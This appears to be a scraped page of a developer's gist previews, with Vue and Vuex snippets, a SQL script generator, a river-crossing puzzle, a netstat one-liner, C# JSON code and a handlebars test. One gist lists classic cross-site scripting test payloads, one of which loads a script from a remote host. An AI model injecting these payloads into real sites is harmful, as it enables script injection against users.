1/4/2017
http://staltz.com/libraries-shouldnt-support-everything.html
https://github.com/coffeemug/defstartup/blob/master/_drafts/why-rethinkdb-failed.md
1/6/2017
/* | |
Given a river, determine whether it is crossable. | |
river = 'o~o~~o~~~o~~~~' | |
S 2 3 4 5 => true | |
river = 'ooo~o' | |
111 2 | |
'o~o~~o~~ooo~~' |
const db = new Vuex.Store({ | |
state: { | |
name : 'test', | |
}, | |
getters: { | |
name: state => { | |
return state.name; | |
} | |
}, | |
mutations: { |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
Vue.directive('responsivelink', { | |
inserted: el => { | |
el.addEventListener('click', e => { | |
var isMobile = window.matchMedia("screen and (max-width: 860px)"); | |
if (isMobile.matches) { | |
e.preventDefault(); | |
window.location = e.currentTarget.href; | |
} | |
}) | |
} |
SELECT 'ALTER TABLE [' + sch.name + '].' + '[' + t.name + ']' | |
+ ' WITH CHECK ADD CONSTRAINT [FK_' + t.name + '_' + q.tableName + '] FOREIGN KEY([' + c.name + ']) REFERENCES ' + | |
+ '[' + q.schemaName + '].' + '[' + q.tableName + ']' + '([' + c.name + ']);' + CHAR(13)+CHAR(10) + 'GO' | |
as [script] | |
FROM sys.columns c | |
INNER JOIN sys.tables t | |
ON t.object_id = c.object_id | |
INNER JOIN sys.indexes i | |
ON i.object_id = t.object_id | |
LEFT JOIN sys.foreign_key_columns fkc_Parent |
netstat -nr | grep '^0\.0\.0\.0' | awk '{print $2}' |
document.querySelectorAll('[class*="new"],[id*="hea"]') |
#r C:\temp\Newtonsoft.Json.dll | |
using Newtonsoft.Json; | |
using Newtonsoft.Json.Linq; | |
string json = @"{ | |
CPU: 'Intel', | |
Drives: [ | |
'DVD read/writer', | |
'500 gigabyte hard drive' |
let test = require('ava'); | |
let handlebars = require('handlebars'); | |
let acorn = require('acorn'); | |
test('foo', t => { | |
let q = handlebars.compile('let x = {{{tt}}}'); | |
let newAst = q({tt : "x => { console.log('Hello World!') }"}); | |
console.log(newAst); | |
var ast = acorn.parse(newAst,{}); |